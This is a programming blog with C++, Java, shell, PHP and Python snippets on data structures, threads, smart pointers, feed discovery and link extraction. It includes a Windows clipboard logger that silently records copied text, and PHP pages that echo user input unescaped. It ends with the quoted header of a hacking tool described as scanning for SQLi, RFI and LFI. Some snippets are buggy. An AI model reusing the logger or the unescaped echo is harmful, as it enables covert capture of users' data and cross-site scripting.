kode yard

member functions are given by compiler in c++

2011-12-11T16:06:00.001+05:30

Following member functions are given by compiler if we are not defined in the class..

1) default constructor
2) default destructor
3) copy constructor
4) assignment operator
5) address operator

Things to be taken care of in defination of assignment operator

2011-11-23T01:20:00.001+05:30

Deep copy/shallow copy
Guard against self assignment in the assignment operator.
Strong exception safety in the assignment operator. (acquire new resources before deleting old)
Call base class's assignment operator if needed.

Final Class in C++

2011-11-23T00:29:00.001+05:30

A class in Java is said to be final class if it can't be inherited by any other class. In C++, language has no built in feature to implement this. This has to be implemented by the developer.

By making the destructor private

In this case, the object can only be created in heap by some static function defined in the class. Similarly a function must be implemented for destruction of object.

If we create object on stack, stack unwinding needs the destructor to be accessible. Hence compiler won't allow this.

Let's look at the following code.

#include <iostream><br /><br />using namespace std;<br /><br />class F<br />{<br />public:<br />        static F* Create()<br />        {<br />                return new F();<br />        }<br /><br />        static void Destroy(F* ob)<br />        {<br />                delete ob;<br />        }<br /><br />        void show()<br />        {<br />                cout<<"In F Show()"<<endl;<br />        }<br /><br />private:<br />        ~F() {}<br />};<br /><br /><br />int main()<br />{<br />        F *f_ob ;<br />        f_ob = F::Create();<br />        f_ob->show();<br />        F::Destroy(f_ob);<br /><br />        return 0;<br />}<br /><br />

Here no class can inherit F as the destructor is private. During child class object destruction, parent class destructor can't be called. Because parent class destructor is private.

By friend class

In this case, the object can be created on stack.
Here we will need a dummy class whose destructor is private. The Final class must be a friend of this class and the Final class will inherit from dummy class.
We can create the object of Final class. As Final class is the friend of dummy class, it will have access to it's destructor.
But if any class(Child) inherits Final Class, then it won't compile because destructor of temp is not accessible inside Child class.
Let's look at the following code

#include <iostream><br /><br />using namespace std;<br /><br />class Final;<br /><br />class Dummy<br />{<br />private:<br />        ~Dummy() {}<br />        friend class Final;<br />};<br /><br />class Final : public Dummy<br />{<br />public:<br />        Final() {}<br />        ~Final() {}<br />        void show()<br />        {<br />                cout<<"Show"<<endl;<br />        }<br />};<br /><br /><br />int main()<br />{<br />        Final ob;<br />        ob.show();<br />        return 0;<br />}<br /><br />

Implementation of Binary Search Tree

2011-10-12T00:02:00.000+05:30

/* <br /><br /><br />/* <br /> * File:   main.cpp<br /> * Author: asit<br /> *<br /> * Created on 24 September, 2011, 2:14 PM<br /> */<br /><br />#include <cstdlib><br />#include <iostream><br />#include <iterator><br />#include <stack><br />#include <vector><br />#include <utility><br /><br />using namespace std;<br /><br />/*<br /> * <br /> */<br /><br />struct node<br />{<br />    int id;<br />    string name;<br />    node *left;<br />    node *right;<br />    node():id(0),name(""),left(NULL), right(NULL) {}<br />    node(int id, string name):id(id), name(name), left(NULL), right(NULL) {}<br />};<br /><br />typedef pair<int,string> emp_det;<br /><br />class BinarySearchTree<br />{<br />    node *root;<br />    <br />public:<br />    BinarySearchTree():root(NULL) {}<br />    <br />    void addNode(int dt, string nm) <br />    {<br />        node *temp = NULL;<br />        <br />        if(root==NULL)<br />        {<br />            temp = new node;<br />            temp->id = dt;<br />            temp->name = nm;<br />            root = temp;<br />        }<br />        else<br />        {<br />            temp = root;<br />            while(true)<br />            {<br />                if(temp->id >= dt) <br />                {<br />                    if(temp->left == NULL)<br />                    {<br />                        temp->left = new node(dt,nm);<br />                        break;<br />                    }<br />                    else<br />                        temp = temp->left;<br />                }<br />                else<br />                {<br />                    if(temp->id < dt)<br />                    {<br />                        if(temp->right == NULL)<br />                        {<br />                            temp->right = new node(dt, nm);<br />                            break;<br />                        }<br />                        else<br />                            temp = temp->right;<br />                    }<br />                }<br />            }<br />        }<br />    }<br />    <br />    <br />    void sort(vector<emp_det> &list)<br />    {<br />        node *temp = NULL;<br />        <br />        stack<node*> st;<br />        <br />        temp = root;<br />        <br />        while(true)<br />        {<br />            if(temp != NULL)<br />            {<br />                st.push(temp);<br />                temp = temp->left;<br />            }<br />            else<br />            {<br />                if(st.empty())<br />                    break;<br />                temp = st.top();<br />                st.pop();<br />                list.push_back(emp_det(temp->id, temp->name));<br />                temp = temp->right;<br />            }<br />        }<br />    }<br />    <br />};<br /><br />int main(int argc, char** argv) <br />{<br />    emp_det arr[] = { emp_det(4, "A"), <br />                      emp_det(23,"B"),<br />                      emp_det(10,"C"),<br />                      emp_det(65,"D"),<br />                      emp_det(43,"E"),<br />                      emp_det(89,"F"),<br />                      emp_det(77,"G"),<br />                      emp_det(98,"H"),<br />                      emp_det(76,"I"),<br />                      emp_det(56,"J") };<br /><br />    <br />    BinarySearchTree bst;<br />    <br />    for(int i=0; i<10; i++)<br />        bst.addNode(arr[i].first, arr[i].second);<br />    <br />    vector<emp_det> list;<br />    <br />    bst.sort(list);<br />    <br />    vector<emp_det> ::iterator it;<br />    <br />    for(it = list.begin(); it != list.end(); it++)<br />        cout<<(*it).first<<"  "<<(*it).second<<endl;<br />    <br />    cout<<endl;<br /><br />    return 0;<br />}<br /><br />

Array vs linked list

2011-10-03T01:43:00.000+05:30

A few reasons why Array is better

In array, we the provision of random access. But in linked list, the nodes can only be sequentially accessed.
Better locality - Whenever the OS brings data into memory, it loads a whole page. Hence less page fault occurs. With linked list, different parts of the linked list are stored at different parts of memory. Hence branch Prediction doesn't work as well with linked list. This causes the pipeline to be flushed more often which result in poor performance.
In linked list, the extra storage needed for references, which often makes them impractical for lists of small data items such as characters or boolean values. It can also be slow, and with a naïve allocator, wasteful, to allocate memory separately for each new element.

A few reasons why Linked List is better

It's easier to store data of different sizes in a linked list. An array assumes every element is exactly the same size.
It's easier for a linked list to grow organically. An array's size needs to be known ahead of time, or re-created when it needs to grow.
Shuffling a linked list is just a matter of changing what points to what. Shuffling an array is more complicated and/or takes more memory.
As long as your iterations all happen in a "foreach" context, you don't lose any performance in iteration.

new instead of malloc

2011-09-24T02:15:00.000+05:30

While searching I found a very naive, but useful thing about new/malloc.

Why should we use new instead of malloc ?

New and Delete makes sure that constructors and sestructors are called but not the case with malloc and free functions of C.
Pointer conversion safety:malloc() returns a void* which isn't safe. new returns a pointer of the right type.
new is a Operator:new is an operator that can be overloaded for better memory management by a class, while malloc() is not an operaotor.
new operator computes the size of object automatically whereas malloc cannot.
It is possible to initialize the object while allocating memory with new.
Its possible to construct an object over an already allocated memory using another version of 'new' operator known as 'placement new' operator. While with malloc() it is not possible.

pthread in c++

2011-09-20T02:11:00.001+05:30

The following code is a pthread implementation in c++ (object oriented paradigm)

The created thread executes job(here it sleeps for the input seconds) and executes it.

Somebody else has done this and I have modified according to my need.

/* <br /> * File:   main.cpp<br /> * Author: asit<br /> *<br /> * Created on 31 August, 2011, 5:34 PM<br /> */<br /><br />#include <cstdlib><br />#include <iostream><br />#include <string><br />#include <cstdlib><br />#include <cstdio><br /><br />#include <pthread.h><br />#include <errno.h><br />#include <unistd.h><br /><br />using namespace std;<br /><br />/*<br /> * <br /> */<br /><br />class Thread<br />{<br />public:<br />    Thread():status_(STATUS_UNINIT) {}<br />    ~Thread() <br />    {<br />        while(status_ == STATUS_PENDING)<br />            (void)0;<br />        if(status_ == STATUS_HAS_PTH)<br />            pthread_detach(pth_);<br />    }<br />    <br />protected:<br />    virtual void main() = 0;<br />    static void *trampoline(void *arg)<br />    {<br />        Thread *obj = static_cast<Thread*>(arg);<br />        obj->main();<br />        return NULL;<br />    }<br />    <br />public:<br />    int start()<br />    {<br />        if(status_ != STATUS_UNINIT)<br />            return EAGAIN;<br />        <br />        status_ = STATUS_PENDING;<br />        int res = pthread_create(&pth_, NULL, trampoline, this);<br />        if(res==0)<br />            status_ = STATUS_HAS_PTH;<br />        else<br />            status_ = STATUS_UNINIT;<br />        <br />        return res;<br />    }   <br />    <br />    int join()<br />    {<br />        status_ = STATUS_PENDING;<br />        int res = pthread_join(pth_, NULL);<br />        status_ = STATUS_UNINIT;<br />        return res;<br />    }<br />    <br />private:<br />    pthread_t pth_;<br />    <br />    volatile enum <br />    {<br />        STATUS_UNINIT,  //pth_ is uninitialized<br />        STATUS_PENDING, //status of pth_ is changing<br />        STATUS_HAS_PTH, //pth_ should be valid<br />    }status_;<br />};<br /><br />class MyThread : public Thread<br />{<br />public:<br />    //MyThread():name(NULL),sleep_tm(0), result_(0) {} <br />    MyThread(string name, int sleep_tm):result_(0), name(name), sleep_tm(sleep_tm) {}<br />    virtual ~MyThread() {}<br />protected:<br />    virtual void main()<br />    {<br />        for(volatile int i=0; i<20; i++)<br />        {<br />            cout<<name<<" : "<<i<<endl;<br />            sleep(sleep_tm);<br />        }<br />        result_ = 1;<br />    }<br />    <br />private:<br />    int result_;<br />    string name;<br />    int sleep_tm;<br />};<br /><br />int main(int argc, char** argv) <br />{<br />    MyThread *th_arr[10];<br />    char buffer[100];<br />    <br />    for(int i=0; i<10; i++)<br />    {<br />        sprintf(buffer,"%d", i+1);<br />        th_arr[i] = new MyThread("Thread-"+string(buffer)+ " value of i :: ", i);<br />        <br />    }<br />    <br />    for(int i=0; i<10; i++)<br />        th_arr[i]->start();<br />    <br />    for(int i=0; i<10; i++)<br />        th_arr[i]->join();<br />    <br />    return 0;<br />}<br /><br /><br />

Output:-

<br />Thread-1 value of i ::  : 1<br />Thread-1 value of i ::  : 2<br />Thread-1 value of i ::  : 3<br />Thread-1 value of i ::  : 4<br />Thread-1 value of i ::  : 5<br />Thread-1 value of i ::  : 6<br />Thread-1 value of i ::  : 7<br />Thread-1 value of i ::  : 8<br />Thread-1 value of i ::  : 9<br />Thread-1 value of i ::  : 10<br />Thread-1 value of i ::  : 11<br />Thread-1 value of i ::  : 12<br />Thread-1 value of i ::  : 13<br />Thread-1 value of i ::  : 14<br />Thread-1 value of i ::  : 15<br />Thread-1 value of i ::  : 16<br />Thread-1 value of i ::  : 17<br />Thread-1 value of i ::  : 18<br />Thread-1 value of i ::  : 19<br />Thread-10 value of i ::  : 0<br />Thread-2 value of i ::  : 0<br />Thread-3 value of i ::  : 0<br />Thread-4 value of i ::  : 0<br />Thread-5 value of i ::  : 0<br />...............<br />...............<br />

Nth last element in Linked List (C++)

2011-09-16T01:14:00.002+05:30

The following code shows how to get nth last element in a linked list. It uses a queue to hold the temporary elements.

Algorithm:-
1>Make a queue of length N
2>Traverse the linked list from root
3>While traversing, en-queue first N elements
4>After this for en-queuing every element, de-queue another element.
5>When we reach the end of linked list, the last de-queued element will be the Nth last element.

<br />/* <br /> * File:   main.cpp<br /> * Author: Asit<br /> *<br /> * Created on 16 September, 2011, 12:25 AM<br /> */<br /><br />#include <cstdlib><br />#include <iostream><br />#include <queue><br /><br />using namespace std;<br /><br />struct node<br />{<br />    int data;<br />    node *next;<br />};<br /><br />class LinkedList<br />{<br />    node *root;<br />public:<br />    LinkedList():root(NULL){}<br />    void add(int x)<br />    {<br />        node *temp = NULL;<br />                <br />        if(root==NULL)<br />        {<br />            root = new node;<br />            root->data = x;<br />            root->next = NULL;<br />        }<br />        else<br />        {<br />            temp = root;<br />            while(temp->next != NULL)<br />            {<br />                temp = temp->next;<br />            }<br />            <br />            temp->next = new node;<br />            temp = temp->next;<br />            temp->data = x;<br />            temp->next = NULL;<br />        }<br />    }<br />    <br />    void show()<br />    {<br />        node *temp = root;<br />        <br />        while(temp != NULL)<br />        {<br />            cout<<temp->data<<"  ";<br />            temp = temp->next;<br />        }<br />        cout<<endl;<br />    }<br />    <br />    int nthLast(int n)<br />    {<br />        queue<node*> t_queue;<br />        int i=1, t_data = -1;<br />        node *temp = root;<br />        <br />        while(temp != NULL)<br />        {<br />            t_queue.push(temp);<br />            if(i>=n)<br />            {<br />                t_data = (t_queue.front())->data; <br />                t_queue.pop();<br />            }<br />            i++;<br />            temp = temp->next;<br />        }<br />        <br />        i--;<br />        if(i<n)<br />            cout<<"Linked list contains less than "<<n<<" elements"<<endl;<br />        <br />        return t_data;<br />    }<br />};<br /><br />int main(int argc, char** argv) <br />{<br />    LinkedList list;<br />    <br />    for(int i=0; i<20; i++)<br />        list.add(i*7+90);<br />    <br />    cout<<"Created linked list is .. "<<endl;<br />    list.show();<br />    <br />    cout<<"3rd last element : ";<br />    <br />    cout<<list.nthLast(3)<<endl;<br />    <br />    return 0;<br />}<br /><br />

Output:-

<br /><br />Created linked list is .. <br />90  97  104  111  118  125  132  139  146  153  160  167  174  181  188  195  202  209  216  223  <br />3rd last element : 209<br /><br />

CountDown Latch to measure sorting time (java)

2011-09-13T23:49:00.001+05:30

The following code uses CountDown Latch to measure the performance of sorting example. The sorting method sorts n array of random numbers in separate threads.

import java.util.*;<br />import java.util.concurrent.*;<br /><br />public class SortRace {<br /><br /> /**<br />  * @param args<br />         * @developer lipun4u<br />  */<br /> public static void main(String[] args) throws Exception{<br />  // TODO Auto-generated method stub<br />  int max = 10000;<br />  int array[] = new int[max];<br />  Random randomGenerator = new Random();<br />  <br />  for(int i=0; i<max; i++)<br />   array[i] = randomGenerator.nextInt(max*10);<br />  <br />  List<String> sortList = Collections.synchronizedList(new ArrayList<String>());<br />  CountDownLatch startLatch = new CountDownLatch(1);<br />  CountDownLatch prepareLatch = new CountDownLatch(3);<br />  CountDownLatch endLatch = new CountDownLatch(3);<br />  <br />  new SortThread("BubbleSort", startLatch, prepareLatch, endLatch, array, sortList).start();<br />  new SortThread("InsertionSort", startLatch, prepareLatch, endLatch, array, sortList).start();<br />  new SortThread("SelectionSort", startLatch, prepareLatch, endLatch, array, sortList).start();<br />  <br />  startLatch.countDown();<br />  endLatch.await();<br />  <br />  System.out.println("Fisrt Position : " + sortList.get(0));<br />  System.out.println("Second Position : " + sortList.get(1));<br />  System.out.println("Third Position : " + sortList.get(2));<br /><br /> }<br /><br />}<br /><br />class SortThread extends Thread {<br /> <br /> private String sortName;<br /> private CountDownLatch startLatch, prepareLatch, endLatch;<br /> private int[] pArray;<br /> private int[] array;<br /> <br /> List<String> list;<br /> <br /> public SortThread(String sortName, <br />   CountDownLatch startLatch,<br />   CountDownLatch prepareLatch,<br />   CountDownLatch endLatch,<br />   int[] pArray,<br />   List<String> list) {<br />  this.sortName = sortName;<br />  this.startLatch = startLatch;<br />  this.prepareLatch = prepareLatch;<br />  this.endLatch = endLatch;<br />  this.list = list;<br />  this.pArray = pArray;<br />  System.out.println(sortName + " Started..");<br /> }<br /> <br /> public void run() {<br />  try {<br />   startLatch.await();<br />   prepareArray();<br />   prepareLatch.countDown();<br />   prepareLatch.await();<br />   if(sortName == "BubbleSort") {<br />    bubble_sort(array);<br />   }<br />   else if(sortName == "InsertionSort") {<br />    insertion_sort(array);<br />   }<br />   else if(sortName == "SelectionSort") {<br />    selection_sort(array);<br />   }<br />   list.add(sortName);<br />   endLatch.countDown();<br />  }<br />  catch(Exception e) {<br />   e.printStackTrace();<br />  }<br /> }<br /> <br /> public void prepareArray() {<br />  array = new int[pArray.length];<br />  System.arraycopy(array,0, pArray, 0, pArray.length);<br /> }<br /> <br /> public void insertion_sort(int array[]) {<br />  for(int i=1; i<array.length; i++) {<br />   int j=i;<br />   int b = array[i];<br />   while((j>0) && (array[j-1]>b)) {<br />    array[j] = array[j-1];<br />    j--;<br />   }<br />   array[j] = b;<br />  }<br />   <br /> }<br /> <br /> public void bubble_sort(int array[]) {<br />  for(int i=0; i<array.length; i++) {<br />   for(int j=1; j<(array.length-i); j++) {<br />    if(array[j-1]>array[j]) {<br />     int t = array[j-1];<br />     array[j-1]=array[j];<br />     array[j]=t;<br />    }<br />   }<br />  }<br /> }<br /> <br /> public void selection_sort(int array[]) {<br />  for(int i=0; i<array.length; i++) {<br />   for(int j=i+1; j<array.length;j++) {<br />    if(array[i]>array[j]) {<br />     int t = array[i];<br />     array[i]=array[j];<br />     array[j]=t;<br />    }<br />   }<br />  }<br /> }<br />}<br /><br />

auto_ptr

2011-08-15T02:37:00.000+05:30

Look at the following code.

The above code will work perfectly if the "do some stuffs" section doesn't throw any unhandled exception. If some exception is thrown, then the object will be created in the heap and won't be deleted till the program termination.

Hence, object creation in heap is always dangerous than object creation in stack. We can avoid the above situation by using auto_ptr templatised class in STL.

Automatic Pointer(auto_ptr) class is a limited garbage collection facility which takes responsibility of object destruction when the auto_ptr goes out of scope.

Auto_ptr takes the responsibility of the destruction of the object. Hence if same auto_ptr points to another object, the previous object is destroyed properly.

Example :-

<br />#include <iostream>
<br />#include <memory>
<br />
<br />using namespace std;
<br />
<br />class T
<br />{
<br />	static int i;
<br />	int id;
<br />public:
<br />	T():id(i++)
<br />	{	
<br />		cout<<"T constructor :: "<<id<<endl;
<br />	}
<br />	~T()
<br />	{	
<br />		cout<<"T destructor :: "<<id<<endl;
<br />	}
<br />	void show()
<br />	{
<br />		cout<<"id :: "<<id<<endl;
<br />	}
<br />};
<br />
<br />int T::i = 1;
<br />
<br />int main()
<br />{
<br />	auto_ptr<T> pt(new T());
<br />	pt->show();
<br />	pt.reset(new T());
<br />	pt->show();
<br />	
<br />	return 0;
<br />}
<br />

Output :-

<br />T constructor :: 1
<br />id :: 1
<br />T constructor :: 2
<br />T destructor :: 1
<br />id :: 2
<br />T destructor :: 2
<br />

If the responsibility is transferred from 1st pointer to the second pointer(by assignment operator), then 1st pointer is set to NULL. Hence, no two auto pointer points to the same object.

Example :-

<br />#include <iostream>
<br />#include <memory>
<br />
<br />using namespace std;
<br />
<br />class T
<br />{
<br />        static int i;
<br />        int id;
<br />public:
<br />        T():id(i++)
<br />        {
<br />                cout<<"T constructor :: "<<id<<endl;
<br />        }
<br />        ~T()
<br />        {
<br />                cout<<"T destructor :: "<<id<<endl;
<br />        }
<br />        void show()
<br />        {
<br />                cout<<"id :: "<<id<<endl;
<br />        }
<br />};
<br />
<br />int T::i = 1;
<br />
<br />int main()
<br />{
<br />        auto_ptr<T> p1(new T());
<br />        p1->show();
<br />        auto_ptr<T> p2;
<br />        p2 = p1;
<br />        p2->show();
<br />        return 0;
<br />}
<br />

Output :-

<br />T constructor :: 1
<br />id :: 1
<br />id :: 1
<br />T destructor :: 1
<br />

Certain Links that might prove useful
http://www.gotw.ca/publications/using_auto_ptr_effectively.htm
http://www.alwynberkeley.com/autoptr.html
http://www.cprogramming.com/tutorial/auto_ptr.html

oracle form tutorial

2010-11-05T01:00:00.002+05:30

Oracle Forms Tutorial (www.aboutoracleapps.com)

View more presentations from magupta26.

utility script-2

2010-05-08T00:34:00.003+05:30

This is a shell script that automates the compilation of single c/c++ source file and executes this.

#!/bin/bash #Developed by : lipun4u@gmail.com file_name=$1 c_extension=".c" cpp_extension=".cpp" ip_file_name="$file_name$c_extension" i=0 if [ $# -ne 1 ] then echo "Usage: `basename $0` " echo "Source file should be without extension" echo "e.g :-`basename $0` test" exit 1 fi if [ -f $ip_file_name ] then echo "compiling c-source file $file_name ....." gcc -o $file_name $ip_file_name -lpthread if [ $? -eq 0 ] then i=1 fi else ip_file_name="$file_name$cpp_extension" if [ -f $ip_file_name ] then echo "compiling c++-source file $file_name ....." g++ -o $file_name $ip_file_name -lpthread if [ $? -eq 0 ] then i=1 fi else echo "compilation failed" exit 1 fi fi if [ $i -eq 1 ] then echo "Output file name : $file_name" echo "Executing......" echo ./$file_name exit_status=$? if [ $exit_status -ne 0 ] then echo "Program execution failed with exit status $exit_status" exit 1 fi echo echo "Program executed successful" fi

utility script-1

2010-05-01T01:30:00.002+05:30

This is an utility script that makes a file executable and opens in vi editor.

clipboard logger

2009-11-05T01:09:00.001+05:30

This code snippet logs all clipboard text in a log file...

#include <windows.h> #include <stdio.h> #include <string.h> #include <stdlib.h> using namespace std; void myfree(); FILE *fp; char *p; HANDLE clip; int main() { HANDLE clip; p=(char*)malloc(1); *p='\0'; fp= fopen("log.txt", "a"); atexit(myfree); while(true) { if (OpenClipboard(NULL)) { clip = GetClipboardData(CF_TEXT); if(strcmp(p,(char*)clip)!=0) { free(p); p = (char*)malloc(strlen((char*)clip)+1); strcpy(p,(char*)clip); fprintf(fp,"%s",p); } CloseClipboard(); } Sleep(500); } } void myfree() { free(p); if(fp!=NULL) fclose(fp); free(clip); }

This is well tested in Dev C++.

feed finder in php

2009-10-27T13:25:00.004+05:30

Here is a php snippet which finds the rss and atom links of a web site by parsing the meta information in the header section of the page.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
 <title>Feed finder</title>
 </head>
 
 <body>
 <?php
 if(isset($_POST['link']) && (strlen($_POST['link'])>0)) {
 	include_once('simple_html_dom.php');
 	$html = file_get_html(trim($_POST['link']));
 	$feed_type = array('application/rss+xml',
 		'text/xml',
 		'application/atom+xml',
 		'application/x.atom+xml',
 		'application/x-atom+xml');
 	foreach($html->find('link') as $element) {
 		foreach($feed_type as $rs) {
 			if(strtolower($element->type) == $rs) { 
 				echo "<h3>" . $element->title . "</h3>\n";
 				echo "<h3>" . $element->href . "</h3>\n";
 			echo "<h3>" . $element->type . "</h3>\n";
 				echo "<h3>---------------------</h3>\n";
 			}
 		}
 	}
 }
 else
 {
 ?>
 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
 <table align="center" width="50%">
 <tr>
 <td align="right">Link : </td>
 <td align="left"><input type="text" name="link" /></td>
 </tr>
 <tr>
 <td align="right"><input type="submit" name="submit" value="Submit" /></td>
 <td align="left"><input type="reset" name="reset" value="clear" /></td>
 </tr>
 </table>
 </form> 
 <?php 
 }
 ?>						
 </body>
 </html>

feed finder in python

2009-10-23T02:35:00.002+05:30

Here is a python code snippet which finds the RSS link in any web site...


import sys
from urllib2 import urlopen
from urlparse import urljoin
from HTMLParser import HTMLParser, HTMLParseError

class FeedAutodiscoveryParser(HTMLParser):
    # These are the MIME types of links accepted as feeds
    FEED_TYPES = ('application/rss+xml',
                  'text/xml',
                  'application/atom+xml',
                  'application/x.atom+xml',
                  'application/x-atom+xml')
    def __init__(self, base_href):
        HTMLParser.__init__(self)
        self.base_href = base_href
        self.feeds = []
    def handle_starttag(self, tag, attrs_tup):
        tag = tag.lower()
        attrs = dict([(k.lower(), v) for k,v in attrs_tup])
        if tag == "base" and 'href' in attrs:
            self.base_href = attrs['href']
        if tag == "link":
            rel = attrs.get("rel", "")
            type = attrs.get("type", "")
            title = attrs.get("title", "")
            href = attrs.get("href", "")
            if rel == "alternate" and type in self.FEED_TYPES:
                self.feeds.append({
                    'type' : type,
                    'title' : title,
                    'href' : href
                })
def getFeedsDetail(url):
    data = urlopen(url).read()
    parser = FeedAutodiscoveryParser(url)
    try:
        parser.feed(data)
    except HTMLParseError:
        pass
    for feed in parser.feeds:
        feed['href'] = urljoin(parser.base_href, feed['href'])
    return parser.feeds
def getFeeds(url):
        return [ x['href'] for x in getFeedsDetail(url) ]


def main():
    url = sys.argv[1]
    feeds = getFeedsDetail(url)
    print
    print "Site %s : " % url
    print "###########################################"
    print
    for feed in feeds:
        print "Title : '%(title)s' \nType :  %(type)s \nURI : %(href)s" % feed
        print "------------------------------------------------------------------------"
    print

if __name__ == "__main__":
    main()

The use is...


F:\Python26>python minifeedfinder.py http://www.timesofindia.com/

Site http://www.timesofindia.com/ :
###########################################

Title : ''
Type :  application/rss+xml
URI : http://www.timesofindia.com/rssfeedsdefault.cms
------------------------------------------------------------------------


F:\Python26>python minifeedfinder.py http://asitdhal.blogspot.com/

Site http://asitdhal.blogspot.com/ :
###########################################

Title : 'Life like this - Atom'
Type :  application/atom+xml
URI : http://asitdhal.blogspot.com/feeds/posts/default
------------------------------------------------------------------------
Title : 'Life like this - RSS'
Type :  application/rss+xml
URI : http://asitdhal.blogspot.com/feeds/posts/default?alt=rss
------------------------------------------------------------------------

The equivalent php code is in the following link...
http://kodeyard.blogspot.com/2009/10/feed-finder-in-php.html

Country and City from ip address (php)

2009-10-17T01:37:00.000+05:30

Here is a code, I made from scratch to get the geographical information from ip address.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
 <title>Ip Address Lookup</title>
 </head>
 
 <body>
 <?php
 function countryCityFromIP($ipAddr)
 {
 	$ipDetail=array(); 
 	$xml = file_get_contents("http://api.hostip.info/?ip=".$ipAddr);
 	preg_match("@<Hostip>(\s)*<gml:name>(.*?)</gml:name>@si",$xml,$match);
 	$ipDetail['city']=$match[2]; 
 	preg_match("@<countryName>(.*?)</countryName>@si",$xml,$matches);
 	$ipDetail['country']=$matches[1];
 	preg_match("@<countryAbbrev>(.*?)</countryAbbrev>@si",$xml,$cc_match);
 	$ipDetail['country_code']=$cc_match[1]; 
 	return $ipDetail;
 }
 if(isset($_GET['ip'])) {
 	$IPDetail=countryCityFromIP($_GET['ip']);
 	echo "<table align='center' width='50%'>\n";
 	echo "<tr><td>IP Address </td> <td>" . $_GET['ip'] . "</td></tr>\n";
 	echo "<tr><td>Country Name</td> <td>" . $IPDetail['country'] . "</td></tr>\n"; 
 	echo "<tr><td>City </td><td>" . $IPDetail['city'] . "</td></tr>\n"; 
 	echo "<tr><td>Country Code</td><td>" . $IPDetail['country_code'] . "</td></tr>\n";
 	echo "</table>";
 }
 else {
 	?>
 	<form method="get">
 	<table align="center" width="50%">
 	<tr><td>IPADDRESS</td><td><input type="text" name="ip" /></td></tr>
 	<tr><td><input type="submit" value="lookup" /></td><td><input type="reset" value="clear" /></td></tr>
 	</table>
 	</form>
 	<?php 
 }
 ?>
 </body>
 </html>

This code does not implement any validation of address. As it depends upon whois server to perform lookup, the result takes time to show output.

link extractor in python

2009-10-07T01:40:00.000+05:30

I my engineering, I coded a python script that will extract links from a web page.
Here is the code...


import urllib 

import sys 

import os.path 

import sgmllib 

 

 

print "\n\n\t\tlipun4u[at]gmail[dot]com" 

print "\t\t------------------------" 

 

appname = os.path.basename(sys.argv[0]) 

 

class MyParser(sgmllib.SGMLParser): 

    "A simple parser class." 

 

    def parse(self, s): 

        "Parse the given string 's'." 

        self.feed(s) 

        self.close() 

 

    def __init__(self, verbose=0): 

        "Initialise an object, passing 'verbose' to the superclass." 

 

        sgmllib.SGMLParser.__init__(self, verbose) 

        self.hyperlinks = [] 

 

    def start_a(self, attributes): 

        "Process a hyperlink and its 'attributes'." 

 

        for name, value in attributes: 

            if name == "href": 

                self.hyperlinks.append(value) 

 

    def get_hyperlinks(self): 

        "Return the list of hyperlinks." 

 

        return self.hyperlinks 

 

 

 

if len(sys.argv) not in [2,]: 

    print "Usage : " + appname + "  " 

    print "e.g. : " + appname + " www.google.com " 

    sys.exit(1) 

elif "-h"  in sys.argv: 

    print "Usage : " + appname + "  " 

    print "e.g. : " + appname + " www.google.com " 

    sys.exit(1) 

elif "--help" in sys.argv: 

    print "Usage : " + appname + "  " 

    print "e.g. : " + appname + " www.google.com " 

    sys.exit(1) 

 

 

 

site = sys.argv[1].replace("http://","") 

site = "http://" + site.lower() 

 

print "Target : " + site 

try: 

    site_data = urllib.urlopen(site) 

    parser = MyParser() 

    parser.parse(site_data.read()) 

except(IOError),msg: 

    print "Error in connecting site ", site 

    print msg 

    sys.exit(1) 

links = parser.get_hyperlinks() 

print "Total no. of hyperlinks : " + str(len(links)) 

print "" 

for l in links: 

    print l

Here is the help file

 

I:\Python26>linkscan1.py 

 

 

lipun4u[at]gmail[dot]com 

------------------------ 

Usage : linkscan1.py  

e.g. : linkscan1.py www.google.com 

 

I:\Python26>linkscan1.py www.iter.ac.in 

 

 

lipun4u[at]gmail[dot]com 

------------------------ 

Target : http://www.iter.ac.in 

Total no. of hyperlinks : 12 

 

http://iter.ac.in 

default.asp 

contactus.asp 

http://iter.ac.in:8383 

time-table.xls 

http://www.soauniversity.ac.in/saat_2009.htm 

images/advertisement_Saat2009.gif 

# 

# 

# 

# 

http://www.allindiaonline.in/ 

 

I:\Python26>

But some guys added some spice to it and look what they made...

#!/usr/bin/python
 #devilzc0de.py version 1.0
 # "\n\n\t\tlink extract routine sipped from by lipun4u[at]gmail[dot]com link extractor" 
 # "\t\tcoding by mywisdom (mywisdom@jasakom.org)" 
 #modified for devilzc0de sqli,blind,rfi and lfi and path disclosure via error message against your target
 # Greetz : evidence@solhack, getch@solhack. foxx@solhack ... I miss you bro
 # Special thanks to: asit_dhal( lipun4u[at]gmail[dot]com ) who inspire me 
 # Special thanx for d3hydr8, baltazar, rsauron,jaya sangkar, inkubus,0n3l0ve,tundergun, gblack,wendy182, zeroc0de666,and all flash crews,etc
 # Flash Crews(errorname,danzel,trtxx,etc...), h4cky0u members, jasakom members,hmsecurity crews and members, ex hackerzonline (sorry for ddosing)crews (pirus,cybermutaqqin,pitaqh,aurel,t0m,bunga,kiddes,idbajakan,adisatwa,adioranye,flyv66,meong,etc)
 # Special thanks to my special foo : aibo,alabala -> my real foo they always blame me..thank you :-)
 # and to all darkc0de members
 #greetz to solhack crews 2004,leader: evidence@sdf,crews:getch@solhack,mywisdom@solhack and foxx@solhack
 # Special thanks to Jasakom Members and Crews (sto,pirus,pitaqh,aurel666,tomahawk,kiddies,sat,flyv666,petimati,ketek,
 # This tool is best combined with flashjumper.py
 #greetz to gdc community (bl4ck3ng1ne,blok_undergound,xnome,cr4wl3r,mr saint,etc...)
 ###############################################################################
 # // ) ) 										
 # __//__ // ___ ___ / __ ___ __ ___ 
 # // // // ) ) (( ) ) // ) ) ____ // ) ) // ) ) //___) ) // / / / / 
 # // // // / / \ \ // / / // // // // / / / / 
 #// // ((___( ( // ) ) // / / ((____ // ((____ ((__( (__/ /
 ############################################################################## 
 
 ################################################################ 
 # .___ __ _______ .___ # 
 # __| _/____ _______| | __ ____ \ _ \ __| _/____ # 
 # / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ # 
